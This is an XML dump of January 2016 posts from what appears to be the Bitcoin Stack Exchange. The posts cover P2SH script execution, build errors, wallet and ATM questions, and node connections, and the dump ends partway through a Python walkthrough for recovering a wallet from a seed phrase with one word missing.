&lt;code&gt;&amp;lt;redeemScript&amp;gt;&lt;/code&gt; calculated with &lt;code&gt;&amp;lt;OP_HASH160&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;redeemScriptHash&amp;gt;&lt;/code&gt; the script continues with the validation of &lt;code&gt;&amp;lt;sig A&amp;gt; &amp;lt;sig C&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the procedure which i have already described the only portions left in the stack are : &lt;code&gt;&amp;lt;OP_0&amp;gt; &amp;lt;sig A&amp;gt; &amp;lt;sig C&amp;gt;&lt;/code&gt; How these signatures will be verified since the fact that &lt;code&gt;&amp;lt;redeemScript&amp;gt;&lt;/code&gt; is poped out of the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question in other words has to do with step 6.&lt;/strong&gt;&#xA;&lt;em&gt;Now our redeemScript can be evaluated:&lt;/em&gt; how since it has been removed from the stack...&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2019-12-20T20:53:04.010" Title="Pay to Script Hash Execution" Tags="|transactions|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42522" PostTypeId="2" ParentId="42519" CreationDate="2016-01-22T21:43:00.553" Score="1" Body="&lt;p&gt;I can't understand your question but I will try to clarify the things for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Pay-to-Pub-Key transaction is a type of transaction which is generated basically from a miner in order to send back to his own address the reward(now is 25 BT) after a suceessful creation of a Block. This transaction is called coinbase transaction and is the first located transaction of the Block which is going to be mined by him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure of the script which satisfies this kind of transaction is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•   Locking Script or scriptPubKey (which located in the Output of a transaction)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; Public Key of Miner&amp;gt; OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;•   Unlocking Script or scriptSig (which located in the Input of a transaction)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Signature from Private Key of Miner&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;•   Validation Script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Signature from Private Key of Miner&amp;gt; &amp;lt; Public Key of Miner&amp;gt; OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order the miner to redeem the 25BT value :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His signature located in Locking script have to be created by his private key.&#xA;In order to check that condition, his public key is used, which corresponds to this private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result the public Key can't create a signature. A signature is created by the private key and a message (or transaction) which is going to be signed with this private key.&#xA;You can't calculate the public key from the input, because the public key is located in the output or better in the Locking Script.&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2016-01-22T21:43:00.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42523" PostTypeId="1" CreationDate="2016-01-23T02:50:37.003" Score="1" ViewCount="484" Body="&lt;p&gt;So, I've tried to follow the instructions in /doc/build-osx.md&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the dependencies using Homebrew&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install autoconf automake berkeley-db4 libtool boost miniupnpc openssl pkg-config protobuf qt5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to verify if I run this command again, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: autoconf-2.69 already installed&#xA;Warning: automake-1.15 already installed&#xA;Warning: berkeley-db4-4.8.30 already installed&#xA;Warning: libtool-2.4.6 already installed&#xA;Warning: boost-1.60.0_1 already installed&#xA;Warning: miniupnpc-1.9.20151008 already installed&#xA;Warning: openssl-1.0.2e_1 already installed&#xA;Warning: pkg-config-0.29 already installed&#xA;Warning: protobuf-2.6.1 already installed&#xA;Warning: qt5-5.5.1_2 already installed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then run :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./autogen.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is fine,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I run: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --with-gui=qt5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after a lot of lines of checking... I get, the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;checking miniupnpc/upnperrors.h presence... yes&#xA;checking for miniupnpc/upnperrors.h... yes&#xA;checking for main in -lminiupnpc... (cached) yes&#xA;**configure: error: Qt dependencies not found**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I could to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12375" LastEditorUserId="5406" LastEditDate="2016-01-23T08:32:11.873" LastActivityDate="2016-02-22T15:48:01.340" Title="Installation troubles... Compiling from source code on a mac book pro" Tags="|mac|installation|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42524" PostTypeId="2" ParentId="42509" CreationDate="2016-01-23T05:05:16.550" Score="2" Body="&lt;p&gt;Wallets don't actually have bitcoins, what the store are public and private keys. &#xA;This &lt;a href=&quot;https://bitcoin.org/en/how-it-works&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; explains the basics. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who knows these pieces of info can use the bitcoins stored at that address. You don't even need a wallet!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets provide a way to generate new addresses for each transaction and remember the associated private keys. They can also provide features so that if you need to recreate the wallet it can recreate for you the same addresses and associated private keys that it did before so that you can spend any bitcoins stored at an address that you created with the wallet.&lt;/p&gt;&#xA;" OwnerUserId="28157" LastActivityDate="2016-01-23T05:05:16.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42525" PostTypeId="2" ParentId="42468" CreationDate="2016-01-23T10:22:55.720" Score="-1" Body="&lt;p&gt;Tools--Export Private Keys,you can get a yourwallet.key.Than open it by using text editor,you can see the private keys plaintext.&lt;/p&gt;&#xA;" OwnerUserId="29850" LastActivityDate="2016-01-23T10:22:55.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42526" PostTypeId="5" CreationDate="2016-01-23T10:57:10.237" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T10:57:10.237" LastActivityDate="2016-01-23T10:57:10.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42527" PostTypeId="4" CreationDate="2016-01-23T10:57:10.237" Score="0" Body="Multi-signature addresses require m-of-n signatures to authorize spending funds sent to them." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2019-08-12T00:16:46.860" LastActivityDate="2019-08-12T00:16:46.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42528" PostTypeId="5" CreationDate="2016-01-23T11:05:20.090" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:05:20.090" LastActivityDate="2016-01-23T11:05:20.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42529" PostTypeId="4" CreationDate="2016-01-23T11:05:20.090" Score="0" Body="Questions about taxes due to mining, trading, and getting paid in Cryptocurrency." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:05:20.090" LastActivityDate="2016-01-23T11:05:20.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42530" PostTypeId="5" CreationDate="2016-01-23T11:09:26.907" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:09:26.907" LastActivityDate="2016-01-23T11:09:26.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42531" PostTypeId="4" CreationDate="2016-01-23T11:09:26.907" Score="0" Body="The process in which every Bitcoin node checks every part of every Bitcoin transaction worldwide for conformance to standard rules and uses the complete history of all previous Bitcoin transactions to check that money being spent in a transaction has not previously been spent in any earlier transaction since the beginning of Bitcoin." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T15:19:47.417" LastActivityDate="2023-05-11T15:19:47.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42532" PostTypeId="5" CreationDate="2016-01-23T11:30:29.197" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:30:29.197" LastActivityDate="2016-01-23T11:30:29.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42533" PostTypeId="4" CreationDate="2016-01-23T11:30:29.197" Score="0" Body="Collects technical details on the process of creating new addresses." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-23T11:30:29.197" LastActivityDate="2016-01-23T11:30:29.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42534" PostTypeId="2" ParentId="42523" CreationDate="2016-01-23T15:09:41.210" Score="2" Body="&lt;p&gt;I ran the &lt;code&gt;./configure&lt;/code&gt; without the &lt;code&gt;-with-gui=qt5&lt;/code&gt; option and the installation went through fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw, this was on MAC OS X Yosemite (Version 10.10.5).&lt;/p&gt;&#xA;" OwnerUserId="12375" LastActivityDate="2016-01-23T15:09:41.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42535" PostTypeId="1" CreationDate="2016-01-23T16:14:10.273" Score="6" ViewCount="260" Body="&lt;p&gt;I am building my Bitcoin expertise, and want to verify my understanding on a specific point: at what point(s) do all full nodes verifies a new transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my understanding in a nutshell, please confirm or correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] Upon receiving each new transaction, every full node fully verifies it before adding the transaction to the its own mempool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] Upon receiving each new block, every full node fully verifies each transaction in the block before accepting the block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above understanding is correct, then every full node verifies each new transaction TWO TIMES: once when the shiny-new transaction is unconfirmed, and again a few minutes later when the transaction is included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recognize the above is somewhat of an abstraction ... is it an ACCURATE abstraction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="32294" LastActivityDate="2016-01-23T17:24:10.850" Title="Does every full node verify every transaction TWO separate times?" Tags="|transactions|nodes|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42536" PostTypeId="2" ParentId="42535" CreationDate="2016-01-23T17:24:10.850" Score="4" Body="&lt;p&gt;It is an accurate abstraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the most computationally expensive part of transaction verification is ECDSA signature verification. And the results of verification are cached and reused when they're done a second time. We don't cache the rest of transaction verification as it is subject to many parameters (new softfork rules can have been activated, height, locktime, ...), and it's relatively cheap anyway. We do however cache transaction verification failures.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-01-23T17:24:10.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42538" PostTypeId="1" AcceptedAnswerId="42539" CreationDate="2016-01-23T19:43:05.660" Score="0" ViewCount="2142" Body="&lt;p&gt;I made two transactions at a BTC ATM, one of around £80, the other of £10. It has now been &gt;3 hours since the transaction was made. However, only the smaller transaction has appeared in my Bitcoin wallet. Blockchain.info shows no unconfirmed payments. So, can anyone advise me on what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 1: No changes after half an hour, on TradeBlock, my address has no pending transactions listed, is this significant?&lt;/p&gt;&#xA;" OwnerUserId="32301" LastEditorUserId="32301" LastEditDate="2016-01-23T20:40:04.013" LastActivityDate="2020-08-15T23:12:35.613" Title="Bought Bitcoin from ATM, haven't showed up" Tags="|wallet|buy-bitcoins|payment|spv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42539" PostTypeId="2" ParentId="42538" CreationDate="2016-01-23T19:49:37.427" Score="0" Body="&lt;p&gt;What kind of wallet are you using?  I ask because if you're using a full node (like bitcoin core) then it could be that you need to wait for the latest blocks to finish uploading...or... it could be that the transaction for £80 hasn't had a confirmation yet and we're still waiting for that confirmation before it appears in your mobile wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6gxru.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6gxru.png&quot; alt=&quot;Screenshot of the latest blocks solved&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using tradeblock (the screenshot) we can see that there's about 1,718 tx still waiting to be confirmed in the queue and that the last block happened 6 minutes ago...I'm guessing that it wasn't in that full Bitfury Block there so it's likely still waiting to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final edit:  Electrum is an spv wallet, likely you're waiting for a confirmation as it should download the block headers pretty much instantly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this...close Electrum...then reopen it..I don't expect your balance to update but maybe it will (if there's some sort of bug or network timeout issue happening)...from there...give it about another 30 or so mins for it to be included in the next block...this happens because sometimes bitcoin ATMs send non-standard trx and the fee is low (compared to free market).  I believe the recommended fee is approximately 10 satoshis per byte and we see the average fee is about 14 in the pic above.  Taking my comments into consideration - don't worry about the coin being lost it should still hit your address balance.  The worst case scenario is this:  in 72 hours if the coin fails to route then the ATMs wallet gets the coin back - you would be able to reference the failed transaction with the atm operator to get your money back or request them to send the coin with a higher fee so it confirms faster.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2016-01-23T20:03:08.413" LastActivityDate="2016-01-23T20:03:08.413" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="42540" PostTypeId="2" ParentId="42510" CreationDate="2016-01-24T03:23:10.407" Score="6" Body="&lt;p&gt;This is specified thoroughly on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 4 bytes are the version number, the next 1-9 bytes are the number of inputs (almost never more than 1 byte) and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programitically, there are a &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;noreferrer&quot;&gt;ton&lt;/a&gt; of &lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;noreferrer&quot;&gt;libraries&lt;/a&gt; that take the raw text and spit out the json as the bitcoin RPC call does in your example. They all use the same specification, though, so you can create the code yourself or use something already written.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-24T03:23:10.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42541" PostTypeId="1" AcceptedAnswerId="42600" CreationDate="2016-01-24T06:34:37.963" Score="1" ViewCount="385" Body="&lt;p&gt;NXT 1.7.4 just released a new Data Cloud feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QA47x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QA47x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How long do files last on the NXT blockchain?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-01-26T19:58:32.317" Title="How long do files stay on the Decentralized Data Storage blockchain when using NXT's Data Cloud Feature?" Tags="|blockchain|nxt|decentralization|storage|nxt-data-cloud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42542" PostTypeId="1" AcceptedAnswerId="42602" CreationDate="2016-01-24T06:36:32.003" Score="0" ViewCount="191" Body="&lt;p&gt;If I hosted a few files on the NXT's Decentralized Data Straoge Cloud, how can I access those files via an API? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-01-26T21:29:40.693" Title="What is the api function call to access NXT's Data Cloud feature?" Tags="|nxt|nxt-data-cloud|nxt-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42547" PostTypeId="1" AcceptedAnswerId="42548" CreationDate="2016-01-24T10:04:41.587" Score="0" ViewCount="268" Body="&lt;p&gt;I just got my bank account closed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reason: International payment were not supported&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't like to waste my time in bank formalities. I am a programmer. I wish to stay technical for most of the part. &lt;/p&gt;&#xA;" OwnerUserId="30977" LastEditorUserId="5406" LastEditDate="2016-01-24T12:29:10.360" LastActivityDate="2016-01-24T14:55:08.573" Title="Can I force my company to pay me in Bitcoin" Tags="|legal|banks|salary|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42548" PostTypeId="2" ParentId="42547" CreationDate="2016-01-24T10:45:42.767" Score="1" Body="&lt;p&gt;Probably not - I mean you're not in an absolute position to demand them to compensate you via bitcoin.  Can you possibly get an E-checking account with someone like INGDirect then have your BTC automatically dispursed via bitwage or even lawnmower...I think you could even do an auto-rebuy with coinbase if you felt inclined to do so. &lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2016-01-24T14:55:08.573" LastActivityDate="2016-01-24T14:55:08.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42550" PostTypeId="2" ParentId="42547" CreationDate="2016-01-24T12:28:41.473" Score="1" Body="&lt;p&gt;No. You can ask nicely, but unless your company operates in a country that has declared Bitcoin &lt;a href=&quot;https://en.wikipedia.org/wiki/Legal_tender&quot; rel=&quot;nofollow&quot;&gt;legal tender&lt;/a&gt; you have no legal grounds to enforce it.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-24T12:28:41.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42551" PostTypeId="2" ParentId="42547" CreationDate="2016-01-24T12:44:02.280" Score="-4" Body="&lt;p&gt;Paolo from &lt;a href=&quot;https://www.bitwage.com/&quot; rel=&quot;nofollow&quot;&gt;BITWAGE&lt;/a&gt; here; we at Bitwage can help you get paid in bitcoin without your employer even knowing you are availing of our Bitcoin Payroll Service and earning a &quot;bit wage&quot; from Bitwage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOW IT WORKS: 1. We give you a bank account number. 2. You tell your employer to send any percentage of your payroll deposit to that number. 3. We put bitcoin, local currency in your preferred bitcoin wallet address the next day after deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have further questions or need help with the sign up, please feel free to reach out to me anytime at: paolo.huelgas@bitwage.com&lt;/p&gt;&#xA;" OwnerUserId="32313" LastActivityDate="2016-01-24T12:44:02.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42553" PostTypeId="1" AcceptedAnswerId="42595" CreationDate="2016-01-24T17:10:57.667" Score="1" ViewCount="385" Body="&lt;p&gt;When I move an address to another account, and the address contains bitcoins, will the person who gets the address will get the bitcoins that where on the address?&lt;/p&gt;&#xA;" OwnerUserId="31880" LastEditorUserId="18196" LastEditDate="2016-01-26T15:58:50.207" LastActivityDate="2016-01-26T15:58:50.207" Title="Bitcoind move address to other account" Tags="|bitcoind|account-to-account|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42554" PostTypeId="2" ParentId="42286" CreationDate="2016-01-24T18:38:16.190" Score="6" Body="&lt;p&gt;If your node initiated the connection, it's outbound, otherwise it's inbound. Nodes will send and receive data from both types of connections exactly the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;maxconnections&lt;/code&gt; sets a limit on the total number of connections, so if you set it to eight, your node will probably initiate connections to other eight nodes before any node can initiate a connection to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that according to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=855538.0&quot; rel=&quot;noreferrer&quot;&gt;this forum post&lt;/a&gt;, each open connection will take only a few kilobytes of RAM, so reducing the number of connections might not save all that much of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: By running a full node that has no slots for incoming connections, you act as a leecher, and you do more bad than good for the Bitcoin network, as &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/1scd4z/im_running_a_full_node_and_so_should_you/cdw3lrh?context=3&quot; rel=&quot;noreferrer&quot;&gt;Gavin Andresen said on Reddit&lt;/a&gt;. You would help the network if you allowed a few inbound connections. As discussed earlier, that's unlikely to take up any significant amount of RAM.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="1526" LastEditDate="2016-01-25T17:41:38.510" LastActivityDate="2016-01-25T17:41:38.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42556" PostTypeId="1" AcceptedAnswerId="43774" CreationDate="2016-01-24T20:04:12.720" Score="1" ViewCount="890" Body="&lt;p&gt;I have created a wallet using Electrum. Electrum creates 20 receiving addresses. My question is can these be linked or traced back to each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to understand if I have create another wallet if I want more receiving addresses apart from 20.&lt;/p&gt;&#xA;" OwnerUserId="29636" LastActivityDate="2016-04-18T19:48:23.190" Title="Can one receiving address from my Wallet be linked to another from the same Wallet?" Tags="|address|electrum|receiving|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42558" PostTypeId="2" ParentId="41034" CreationDate="2016-01-25T04:27:50.480" Score="-1" Body="&lt;p&gt;Recommend Bither Wallet&lt;a href=&quot;https://i.stack.imgur.com/HL1E4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HL1E4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Manual：&lt;a href=&quot;https://github.com/bither/bither-doc/blob/gh-pages/manual-English.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bither/bither-doc/blob/gh-pages/manual-English.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bither Wallet can&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allows to import/export private key(QR code or plaintext) &lt;/li&gt;&#xA;&lt;li&gt;Don't need to download the whole block &lt;/li&gt;&#xA;&lt;li&gt;Runs on Linux/Windows/OS X/Android/iOS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29850" LastActivityDate="2016-01-25T04:27:50.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42559" PostTypeId="1" CreationDate="2016-01-25T06:25:52.413" Score="6" ViewCount="3985" Body="&lt;p&gt;I am attempting to help recover a wallet where the owner only wrote down 11 of the 12 words in the seed phrase. Initially, I thought the task would be a quick and well-defined, but it appears to be a bit more complex than I assumed, and reference material is pretty scant. In the event that someone else has a similar issue to mine, I want to leave this post detailing the steps I followed (with working code samples). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet I'm dealing with is Breadwallet, which apparently uses a different (older) mnemonic-to-HD-master-private-key derivation strategy from most modern wallets. For the moment, I'm only going to focus on recovering partial Breadwallet phrases, but I plan to eventually expand the answer to cover newer derivation strategies (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot;&gt;BIP44&lt;/a&gt;) as well. &lt;/p&gt;&#xA;" OwnerUserId="27899" LastActivityDate="2016-12-18T01:30:30.947" Title="Recovering a HD wallet from a partial seed phrase" Tags="|bip32-hd-wallets|python|mnemonic-seed|bip44|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42560" PostTypeId="2" ParentId="42559" CreationDate="2016-01-25T06:25:52.413" Score="6" Body="&lt;p&gt;(The language used in this post is Python)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breadwallet uses &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot;&gt;BIP39&lt;/a&gt; to generate the 128-bit master seed from the 12-word mnemonic. The master seed is then used to generate a set of wallets/accounts containing chains of addresses, using &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot;&gt;BIP32&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uqTNe.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uqTNe.png&quot; alt=&quot;https://github.com/bitcoin/bips/raw/master/bip-0032/derivation.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First off, import hashlib and binascii, we're going to need them later.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;from binascii import hexlify, unhexlify&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets assume you have 11 of the 12 words in your seed phrase. For simplicity's sake, I'll use the first 11 words in the BIP39 wordlist: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;partial_seed_phrase = [ 'abandon', 'ability', 'able', 'about', 'above', 'absent', 'absorb', 'abstract', 'absurd', 'abuse', 'access' ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wordlist contains 2048 entries, which gives each word 11 bits of entropy (2&lt;sup&gt;11&lt;/sup&gt; = 2048). The 12 words have 12*11 = 132 bits of entropy in total. The HD master seed is 128 bits in length, and there's a 4-bit checksum attached to the end, which brings the total bits up to 132. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we assume that the &lt;code&gt;wordlist&lt;/code&gt; is a 2048-element list (omitted due to space constraints), we can find the index (in decimal) of the elements in &lt;code&gt;partial_seed_phrase&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mnemonic_in_decimal = map(wordlist.index, partial_seed_phrase)&#xA;# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's convert &lt;code&gt;mnemonic_in_decimal&lt;/code&gt; into an array of 11-bit wide binary numbers. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mnemonic_in_binary = map('{0:011b}'.format, mnemonic_in_decimal)&#xA;# ['00000000000', '00000000001', '00000000010', '00000000011', '00000000100', '00000000101', '00000000110', '00000000111', '00000001000', '00000001001', '00000001010']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We know that a single word (11 bits) is missing from some unknown location in this array. In non-ideal circumstances, we would have to check each of the 12 locations for the missing word against 2048 possible words each, for a total of 24576 (12*2048 = 24576) potential master seeds. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for missing_word_position in range(0,12):&#xA;    # The missing word belongs at some index from 0-11 in the final 12-word phrase&#xA;&#xA;    for wordlist_index in range(0, 2048):&#xA;        # Iterate over all possibilities for the missing word&#xA;&#xA;        missing_word_binary = '{0:011b}'.format(wordlist_index)&#xA;        front_half          = ''.join(mnemonic_in_binary[0:missing_word_position])&#xA;        back_half           = ''.join(mnemonic_in_binary[missing_word_position:12])&#xA;        seed_and_checksum   = front_half + missing_word_binary + back_half&#xA;&#xA;        seed     = seed_and_checksum[0:128]&#xA;        checksum = seed_and_checksum[-4:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thankfully, we have a 4-bit checksum, which means only one in every 16 seeds (2&lt;sup&gt;4&lt;/sup&gt; = 16) will be valid. This means we will end up with a final total of approximately 1536 master seeds (24576/16 = 1536) to check for funds. The checksum is derived from the first bits (in this case, 4) returned by applying the SHA-256 hash function to the seed, so the final number of valid master seeds can vary, but will average out at around 1/16th of the total possible seeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ More to come later, if anyone wants to help write descriptions or code for any of the following steps, I would appreciate it! ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calculate the actual_checksum from the first 4 bits of sha256(seed)&lt;/li&gt;&#xA;&lt;li&gt;compare checksum to actual_checksum. If they are equal, push the seed into an array of valid master seeds.&lt;/li&gt;&#xA;&lt;li&gt;Calculate the master node, which is 